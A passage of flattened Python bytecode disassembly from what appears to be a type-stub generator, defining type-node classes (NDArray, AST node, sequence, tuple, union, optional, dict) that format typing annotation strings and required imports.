MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object typename at 0x7fab70165810, file "f.py", line 553> LOAD_CONST 'NDArrayTypeNode.typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME typename LOAD_NAME property LOAD_NAME Generator LOAD_NAME str LOAD_CONST None LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object required_usage_imports at 0x7fab70165db0, file "f.py", line 560> LOAD_CONST 'NDArrayTypeNode.required_usage_imports' MAKE_FUNCTION CALL_FUNCTION STORE_NAME required_usage_imports LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST ctype_name CALL_METHOD POP_TOP LOAD_FAST shape LOAD_FAST self STORE_ATTR shape LOAD_FAST dtype LOAD_FAST self STORE_ATTR dtype LOAD_FAST use_numpy_generics LOAD_FAST self STORE_ATTR _use_numpy_generics LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _use_numpy_generics POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR dtype LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR dtype JUMP_FORWARD to 24 LOAD_CONST 'numpy.generic' STORE_FAST dtype LOAD_CONST 'numpy.ndarray[_typing.Any, numpy.dtype[' LOAD_FAST dtype FORMAT_VALUE LOAD_CONST ']]' BUILD_STRING RETURN_VALUE LOAD_CONST 'numpy.ndarray' RETURN_VALUE LOAD_CONST 'import numpy' YIELD_VALUE POP_TOP LOAD_CONST 'import typing as _typing' YIELD_VALUE POP_TOP LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ASTNodeTypeNode' STORE_NAME __qualname__ LOAD_CONST 'Type node representing a lazy ASTNode corresponding to type of\n function argument or its return type or type of class property.\n Introduced laziness nature resolves the types visibility issue - all types\n should be known during function declaration to select an appropriate node\n from the AST. Such knowledge leads to evaluation of all preprocessor\n directives (`#include` particularly) for each processed header and might be\n too expensive and error prone.\n ' STORE_NAME __doc__ LOAD_CONST (None, None) LOAD_NAME str LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST None LOAD_CONST ('ctype_name', 'typename', 'module_name', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab701656f0, file "f.py", line 576> LOAD_CONST 'ASTNodeTypeNode.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_CONST <code object ast_node at 0x7fab701651e0, file "f.py", line 587> LOAD_CONST 'ASTNodeTypeNode.ast_node' MAKE_FUNCTION CALL_FUNCTION STORE_NAME ast_node LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object typename at 0x7fab70165b70, file "f.py", line 591> LOAD_CONST 'ASTNodeTypeNode.typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME typename LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object full_typename at 0x7fab701650c0, file "f.py", line 604> LOAD_CONST 'ASTNodeTypeNode.full_typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME full_typename LOAD_NAME property LOAD_NAME Generator LOAD_NAME str LOAD_CONST None LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object required_usage_imports at 0x7fab701659c0, file "f.py", line 619> LOAD_CONST 'ASTNodeTypeNode.required_usage_imports' MAKE_FUNCTION CALL_FUNCTION STORE_NAME required_usage_imports LOAD_NAME property LOAD_NAME bool LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object is_resolved at 0x7fab70165930, file "f.py", line 635> LOAD_CONST 'ASTNodeTypeNode.is_resolved' MAKE_FUNCTION CALL_FUNCTION STORE_NAME is_resolved LOAD_NAME ASTNode LOAD_CONST ('root',) BUILD_CONST_KEY_MAP LOAD_CONST <code object resolve at 0x7fab70165150, file "f.py", line 639> LOAD_CONST 'ASTNodeTypeNode.resolve' MAKE_FUNCTION STORE_NAME resolve LOAD_NAME str LOAD_NAME str LOAD_CONST ('module', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object relative_typename at 0x7fab701658a0, file "f.py", line 652> LOAD_CONST 'ASTNodeTypeNode.relative_typename' MAKE_FUNCTION STORE_NAME relative_typename LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST ctype_name CALL_METHOD POP_TOP LOAD_FAST typename LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST typename JUMP_FORWARD to 26 LOAD_FAST ctype_name LOAD_FAST self STORE_ATTR _typename LOAD_FAST module_name LOAD_FAST self STORE_ATTR _module_name LOAD_CONST None LOAD_FAST self STORE_ATTR _ast_node LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _ast_node RETURN_VALUE LOAD_FAST self LOAD_ATTR _ast_node LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _typename RETURN_VALUE LOAD_FAST self LOAD_ATTR _ast_node LOAD_ATTR export_name STORE_FAST typename LOAD_FAST self LOAD_ATTR _ast_node LOAD_ATTR node_type LOAD_GLOBAL ASTNodeType LOAD_ATTR Enumeration COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST typename RETURN_VALUE LOAD_FAST self LOAD_ATTR _ast_node LOAD_ATTR parent STORE_FAST parent SETUP_LOOP to 88 LOAD_FAST parent LOAD_ATTR node_type LOAD_GLOBAL ASTNodeType LOAD_ATTR Class COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST parent LOAD_ATTR export_name LOAD_CONST '_' BINARY_ADD LOAD_FAST typename BINARY_ADD STORE_FAST typename LOAD_FAST parent LOAD_ATTR parent STORE_FAST parent JUMP_ABSOLUTE POP_BLOCK LOAD_FAST typename RETURN_VALUE LOAD_FAST self LOAD_ATTR _ast_node LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _ast_node LOAD_ATTR node_type LOAD_GLOBAL ASTNodeType LOAD_ATTR Enumeration COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _ast_node LOAD_ATTR full_export_name RETURN_VALUE LOAD_FAST self LOAD_ATTR _ast_node LOAD_ATTR export_name STORE_FAST typename LOAD_FAST self LOAD_ATTR _ast_node LOAD_ATTR parent STORE_FAST parent SETUP_LOOP to 86 LOAD_FAST parent LOAD_ATTR node_type LOAD_GLOBAL ASTNodeType LOAD_ATTR Class COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST parent LOAD_ATTR export_name LOAD_CONST '_' BINARY_ADD LOAD_FAST typename BINARY_ADD STORE_FAST typename LOAD_FAST parent LOAD_ATTR parent STORE_FAST parent JUMP_ABSOLUTE POP_BLOCK LOAD_FAST parent LOAD_ATTR full_export_name LOAD_CONST '.' BINARY_ADD LOAD_FAST typename BINARY_ADD RETURN_VALUE LOAD_FAST self LOAD_ATTR _module_name LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _module_name LOAD_CONST '.' BINARY_ADD LOAD_FAST self LOAD_ATTR _typename BINARY_ADD RETURN_VALUE LOAD_FAST self LOAD_ATTR _typename RETURN_VALUE LOAD_FAST self LOAD_ATTR _module_name LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _ast_node LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError LOAD_CONST "Can't find a module for class '{}' exported as '{}'" LOAD_METHOD format LOAD_FAST self LOAD_ATTR ctype_name LOAD_FAST self LOAD_ATTR typename CALL_METHOD CALL_FUNCTION RAISE_VARARGS LOAD_FAST self LOAD_ATTR _ast_node LOAD_ATTR parent STORE_FAST module SETUP_LOOP to 72 LOAD_FAST module LOAD_ATTR node_type LOAD_GLOBAL ASTNodeType LOAD_ATTR Namespace COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST module LOAD_ATTR parent STORE_FAST module JUMP_ABSOLUTE POP_BLOCK LOAD_CONST 'import ' LOAD_FAST module LOAD_ATTR full_export_name BINARY_ADD YIELD_VALUE POP_TOP JUMP_FORWARD to 98 LOAD_CONST 'import ' LOAD_FAST self LOAD_ATTR _module_name BINARY_ADD YIELD_VALUE POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _ast_node LOAD_CONST None COMPARE_OP is not JUMP_IF_TRUE_OR_POP LOAD_FAST self LOAD_ATTR _module_name LOAD_CONST None COMPARE_OP is not RETURN_VALUE LOAD_FAST self LOAD_ATTR is_resolved POP_JUMP_IF_FALSE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL _resolve_symbol LOAD_FAST root LOAD_FAST self LOAD_ATTR typename CALL_FUNCTION STORE_FAST node LOAD_FAST node LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL TypeResolutionError LOAD_CONST 'Failed to resolve "{}" exposed as "{}"' LOAD_METHOD format LOAD_FAST self LOAD_ATTR ctype_name LOAD_FAST self LOAD_ATTR typename CALL_METHOD CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL weakref LOAD_METHOD proxy LOAD_FAST node CALL_METHOD LOAD_FAST self STORE_ATTR _ast_node LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _ast_node LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_FAST self LOAD_ATTR _module_name LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError LOAD_CONST "'{}' exported as '{}' is not resolved yet" LOAD_METHOD format LOAD_FAST self LOAD_ATTR ctype_name LOAD_FAST self LOAD_ATTR typename CALL_METHOD CALL_FUNCTION RAISE_VARARGS LOAD_FAST self LOAD_ATTR _module_name LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _ast_node LOAD_ATTR parent STORE_FAST type_module SETUP_LOOP to 82 LOAD_FAST type_module LOAD_ATTR node_type LOAD_GLOBAL ASTNodeType LOAD_ATTR Namespace COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST type_module LOAD_ATTR parent STORE_FAST type_module JUMP_ABSOLUTE POP_BLOCK LOAD_FAST type_module LOAD_ATTR full_export_name STORE_FAST module_name JUMP_FORWARD to 96 LOAD_FAST self LOAD_ATTR _module_name STORE_FAST module_name LOAD_FAST module_name LOAD_FAST module COMPARE_OP != POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR full_typename RETURN_VALUE LOAD_FAST self LOAD_ATTR full_typename LOAD_GLOBAL len LOAD_FAST module_name CALL_FUNCTION LOAD_CONST 1 BINARY_ADD LOAD_CONST None BUILD_SLICE BINARY_SUBSCR RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'AggregatedTypeNode' STORE_NAME __qualname__ LOAD_CONST 'Base type node for type nodes representing an aggregation of another\n type nodes e.g. tuple, sequence or callable.' STORE_NAME __doc__ LOAD_NAME str LOAD_NAME Sequence LOAD_NAME TypeNode BINARY_SUBSCR LOAD_CONST None LOAD_CONST ('ctype_name', 'items', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab70165660, file "f.py", line 674> LOAD_CONST 'AggregatedTypeNode.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_NAME bool LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object is_resolved at 0x7fae2f3eb810, file "f.py", line 678> LOAD_CONST 'AggregatedTypeNode.is_resolved' MAKE_FUNCTION CALL_FUNCTION STORE_NAME is_resolved LOAD_NAME ASTNode LOAD_CONST None LOAD_CONST ('root', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object resolve at 0x7fae2f3eb150, file "f.py", line 682> LOAD_CONST 'AggregatedTypeNode.resolve' MAKE_FUNCTION STORE_NAME resolve LOAD_CONST <code object __iter__ at 0x7fae2f3eb8a0, file "f.py", line 696> LOAD_CONST 'AggregatedTypeNode.__iter__' MAKE_FUNCTION STORE_NAME __iter__ LOAD_NAME int LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object __len__ at 0x7fab428c8c00, file "f.py", line 699> LOAD_CONST 'AggregatedTypeNode.__len__' MAKE_FUNCTION STORE_NAME __len__ LOAD_NAME property LOAD_NAME Generator LOAD_NAME str LOAD_CONST None LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object required_definition_imports at 0x7fab428c8030, file "f.py", line 702> LOAD_CONST 'AggregatedTypeNode.required_definition_imports' MAKE_FUNCTION CALL_FUNCTION STORE_NAME required_definition_imports LOAD_NAME property LOAD_NAME Generator LOAD_NAME str LOAD_CONST None LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object required_usage_imports at 0x7fab428c86f0, file "f.py", line 707> LOAD_CONST 'AggregatedTypeNode.required_usage_imports' MAKE_FUNCTION CALL_FUNCTION STORE_NAME required_usage_imports LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST ctype_name CALL_METHOD POP_TOP LOAD_GLOBAL list LOAD_FAST items CALL_FUNCTION LOAD_FAST self STORE_ATTR items LOAD_CONST None RETURN_VALUE LOAD_GLOBAL all LOAD_CONST <code object <genexpr> at 0x7fae2f3eb930, file "f.py", line 680> LOAD_CONST 'AggregatedTypeNode.is_resolved.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST self LOAD_ATTR items GET_ITER CALL_FUNCTION CALL_FUNCTION RETURN_VALUE LOAD_FAST .0 FOR_ITER to 16 STORE_FAST item LOAD_FAST item LOAD_ATTR is_resolved YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE BUILD_LIST STORE_FAST errors SETUP_LOOP to 92 LOAD_GLOBAL filter LOAD_CONST <code object <lambda> at 0x7fae2f3ebae0, file "f.py", line 684> LOAD_CONST 'AggregatedTypeNode.resolve.<locals>.<lambda>' MAKE_FUNCTION LOAD_FAST self CALL_FUNCTION GET_ITER FOR_ITER to 90 STORE_FAST item SETUP_EXCEPT to 40 LOAD_FAST item LOAD_METHOD resolve LOAD_FAST root CALL_METHOD POP_TOP POP_BLOCK JUMP_ABSOLUTE DUP_TOP LOAD_GLOBAL TypeResolutionError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP STORE_FAST e POP_TOP SETUP_FINALLY to 74 LOAD_FAST errors LOAD_METHOD append LOAD_GLOBAL str LOAD_FAST e CALL_FUNCTION CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None LOAD_CONST None STORE_FAST e DELETE_FAST e END_FINALLY POP_EXCEPT JUMP_ABSOLUTE END_FINALLY JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL len LOAD_FAST errors CALL_FUNCTION LOAD_CONST 0 COMPARE_OP > POP_JUMP_IF_FALSE LOAD_GLOBAL TypeResolutionError LOAD_CONST 'Failed to resolve one of "{}" items. Errors: {}' LOAD_METHOD format LOAD_FAST self LOAD_ATTR full_typename LOAD_FAST errors CALL_METHOD CALL_FUNCTION RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST item LOAD_ATTR is_resolved UNARY_NOT RETURN_VALUE LOAD_GLOBAL iter LOAD_FAST self LOAD_ATTR items CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL len LOAD_FAST self LOAD_ATTR items CALL_FUNCTION RETURN_VALUE SETUP_LOOP to 26 LOAD_FAST self GET_ITER FOR_ITER to 24 STORE_FAST item LOAD_FAST item LOAD_ATTR required_definition_imports GET_YIELD_FROM_ITER LOAD_CONST None YIELD_FROM POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE SETUP_LOOP to 26 LOAD_FAST self GET_ITER FOR_ITER to 24 STORE_FAST item LOAD_FAST item LOAD_ATTR required_usage_imports GET_YIELD_FROM_ITER LOAD_CONST None YIELD_FROM POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ContainerTypeNode' STORE_NAME __qualname__ LOAD_CONST 'Base type node for all type nodes representing a container type.' STORE_NAME __doc__ LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object typename at 0x7fab428c81e0, file "f.py", line 716> LOAD_CONST 'ContainerTypeNode.typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME typename LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object full_typename at 0x7fab428c80c0, file "f.py", line 722> LOAD_CONST 'ContainerTypeNode.full_typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME full_typename LOAD_NAME str LOAD_NAME str LOAD_CONST ('module', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object relative_typename at 0x7fab428c8660, file "f.py", line 728> LOAD_CONST 'ContainerTypeNode.relative_typename' MAKE_FUNCTION STORE_NAME relative_typename LOAD_NAME property LOAD_NAME Generator LOAD_NAME str LOAD_CONST None LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object required_definition_imports at 0x7fab428c8d20, file "f.py", line 733> LOAD_CONST 'ContainerTypeNode.required_definition_imports' MAKE_FUNCTION CALL_FUNCTION STORE_NAME required_definition_imports LOAD_NAME property LOAD_NAME Generator LOAD_NAME str LOAD_CONST None LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object required_usage_imports at 0x7fab428c8300, file "f.py", line 738> LOAD_CONST 'ContainerTypeNode.required_usage_imports' MAKE_FUNCTION CALL_FUNCTION STORE_NAME required_usage_imports LOAD_NAME abc LOAD_ATTR abstractproperty LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object type_format at 0x7fab428c8810, file "f.py", line 744> LOAD_CONST 'ContainerTypeNode.type_format' MAKE_FUNCTION CALL_FUNCTION STORE_NAME type_format LOAD_NAME abc LOAD_ATTR abstractproperty LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object types_separator at 0x7fab428c84b0, file "f.py", line 748> LOAD_CONST 'ContainerTypeNode.types_separator' MAKE_FUNCTION CALL_FUNCTION STORE_NAME types_separator LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_FAST self LOAD_ATTR type_format LOAD_METHOD format LOAD_FAST self LOAD_ATTR types_separator LOAD_METHOD join LOAD_CONST <code object <genexpr> at 0x7fab428c8780, file "f.py", line 719> LOAD_CONST 'ContainerTypeNode.typename.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST self GET_ITER CALL_FUNCTION CALL_METHOD CALL_METHOD RETURN_VALUE LOAD_FAST .0 FOR_ITER to 16 STORE_FAST item LOAD_FAST item LOAD_ATTR typename YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR type_format LOAD_METHOD format LOAD_FAST self LOAD_ATTR types_separator LOAD_METHOD join LOAD_CONST <code object <genexpr> at 0x7fab428c8270, file "f.py", line 725> LOAD_CONST 'ContainerTypeNode.full_typename.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST self GET_ITER CALL_FUNCTION CALL_METHOD CALL_METHOD RETURN_VALUE LOAD_FAST .0 FOR_ITER to 16 STORE_FAST item LOAD_FAST item LOAD_ATTR full_typename YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR type_format LOAD_METHOD format LOAD_FAST self LOAD_ATTR types_separator LOAD_METHOD join LOAD_CLOSURE module BUILD_TUPLE LOAD_CONST <code object <genexpr> at 0x7fab428c88a0, file "f.py", line 730> LOAD_CONST 'ContainerTypeNode.relative_typename.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST self GET_ITER CALL_FUNCTION CALL_METHOD CALL_METHOD RETURN_VALUE LOAD_FAST .0 FOR_ITER to 20 STORE_FAST item LOAD_FAST item LOAD_METHOD relative_typename LOAD_DEREF module CALL_METHOD YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_CONST 'import typing as _typing' YIELD_VALUE POP_TOP LOAD_GLOBAL super CALL_FUNCTION LOAD_ATTR required_definition_imports GET_YIELD_FROM_ITER LOAD_CONST None YIELD_FROM POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL TypeNode LOAD_ATTR compatible_to_runtime_usage POP_JUMP_IF_FALSE LOAD_CONST 'import typing as _typing' YIELD_VALUE POP_TOP LOAD_GLOBAL super CALL_FUNCTION LOAD_ATTR required_usage_imports GET_YIELD_FROM_ITER LOAD_CONST None YIELD_FROM POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'SequenceTypeNode' STORE_NAME __qualname__ LOAD_CONST 'Type node representing a homogeneous collection of elements with\n possible unknown length.\n ' STORE_NAME __doc__ LOAD_NAME str LOAD_NAME TypeNode LOAD_CONST None LOAD_CONST ('ctype_name', 'item', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab428c8f60, file "f.py", line 758> LOAD_CONST 'SequenceTypeNode.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object type_format at 0x7fab428c8a50, file "f.py", line 761> LOAD_CONST 'SequenceTypeNode.type_format' MAKE_FUNCTION CALL_FUNCTION STORE_NAME type_format LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object types_separator at 0x7fab428c8390, file "f.py", line 765> LOAD_CONST 'SequenceTypeNode.types_separator' MAKE_FUNCTION CALL_FUNCTION STORE_NAME types_separator LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST ctype_name LOAD_FAST item BUILD_TUPLE CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST '_typing.Sequence[{}]' RETURN_VALUE LOAD_CONST ', ' RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'TupleTypeNode' STORE_NAME __qualname__ LOAD_CONST 'Type node representing possibly heterogeneous collection of types with\n possibly unspecified length.\n ' STORE_NAME __doc__ LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object type_format at 0x7fab428c8c90, file "f.py", line 775> LOAD_CONST 'TupleTypeNode.type_format' MAKE_FUNCTION CALL_FUNCTION STORE_NAME type_format LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object types_separator at 0x7fab543314b0, file "f.py", line 781> LOAD_CONST 'TupleTypeNode.types_separator' MAKE_FUNCTION CALL_FUNCTION STORE_NAME types_separator LOAD_CONST None RETURN_VALUE LOAD_GLOBAL TypeNode LOAD_ATTR compatible_to_runtime_usage POP_JUMP_IF_FALSE LOAD_CONST '_typing.Tuple[{}]' RETURN_VALUE LOAD_CONST 'tuple[{}]' RETURN_VALUE LOAD_CONST ', ' RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'UnionTypeNode' STORE_NAME __qualname__ LOAD_CONST 'Type node representing type that can be one of the predefined set of types.' STORE_NAME __doc__ LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object type_format at 0x7fab543318a0, file "f.py", line 789> LOAD_CONST 'UnionTypeNode.type_format' MAKE_FUNCTION CALL_FUNCTION STORE_NAME type_format LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object types_separator at 0x7fab54331db0, file "f.py", line 795> LOAD_CONST 'UnionTypeNode.types_separator' MAKE_FUNCTION CALL_FUNCTION STORE_NAME types_separator LOAD_CONST None RETURN_VALUE LOAD_GLOBAL TypeNode LOAD_ATTR compatible_to_runtime_usage POP_JUMP_IF_FALSE LOAD_CONST '_typing.Union[{}]' RETURN_VALUE LOAD_CONST '{}' RETURN_VALUE LOAD_GLOBAL TypeNode LOAD_ATTR compatible_to_runtime_usage POP_JUMP_IF_FALSE LOAD_CONST ', ' RETURN_VALUE LOAD_CONST ' | ' RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'OptionalTypeNode' STORE_NAME __qualname__ LOAD_CONST 'Type node representing optional type which is effectively is a union\n of value type node and None.\n ' STORE_NAME __doc__ LOAD_NAME TypeNode LOAD_CONST None LOAD_CONST ('value', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab54331810, file "f.py", line 807> LOAD_CONST 'OptionalTypeNode.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object type_format at 0x7fab54331b70, file "f.py", line 810> LOAD_CONST 'OptionalTypeNode.type_format' MAKE_FUNCTION CALL_FUNCTION STORE_NAME type_format LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object types_separator at 0x7fab54331a50, file "f.py", line 816> LOAD_CONST 'OptionalTypeNode.types_separator' MAKE_FUNCTION CALL_FUNCTION STORE_NAME types_separator LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST value LOAD_ATTR ctype_name LOAD_FAST value BUILD_TUPLE CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL TypeNode LOAD_ATTR compatible_to_runtime_usage POP_JUMP_IF_FALSE LOAD_CONST '_typing.Optional[{}]' RETURN_VALUE LOAD_CONST '{} | None' RETURN_VALUE LOAD_CONST ', ' RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'DictTypeNode' STORE_NAME __qualname__ LOAD_CONST 'Type node representing a homogeneous key-value mapping.' STORE_NAME __doc__ LOAD_NAME str LOAD_NAME TypeNode LOAD_NAME TypeNode LOAD_CONST None LOAD_CONST ('ctype_name', 'key_type', 'value_type', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab54331780, file "f.py", line 824> LOAD_CONST 'DictTypeNode.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_NAME TypeNode LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object key_type at 0x7fab54331930, file "f.py", line 829> LOAD_CONST 'DictTypeNode.key_type' MAKE_FUNCTION CALL_FUNCTION STORE_NAME key_type LOAD_NAME property LOAD_NAME TypeNode LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object value_type at 0x7fab54331e40, file "f.py", line 833> LOAD_CONST 'DictTypeNode.value_type' MAKE_FUNCTION CALL_FUNCTION STORE_NAME value_type LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object type_format at 0x7fab54331540, file "f.py", line 837> LOAD_CONST 'DictTypeNode.type_format' MAKE_FUNCTION CALL_FUNCTION STORE_NAME type_format LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object types_separator at 0x7fab543315d0, file "f.py", line 843> LOAD_CONST 'DictTypeNode.types_separator' MAKE_FUNCTION CALL_FUNCTION STORE_NAME types_separator LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST ctype_name LOAD_FAST key_type LOAD_FAST value_type BUILD_TUPLE CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR items LOAD_CONST 0 BINARY_SUBSCR RETURN_VALUE LOAD_FAST self LOAD_ATTR items LOAD_CONST 1 BINARY_SUBSCR RETURN_VALUE LOAD_GLOBAL TypeNode 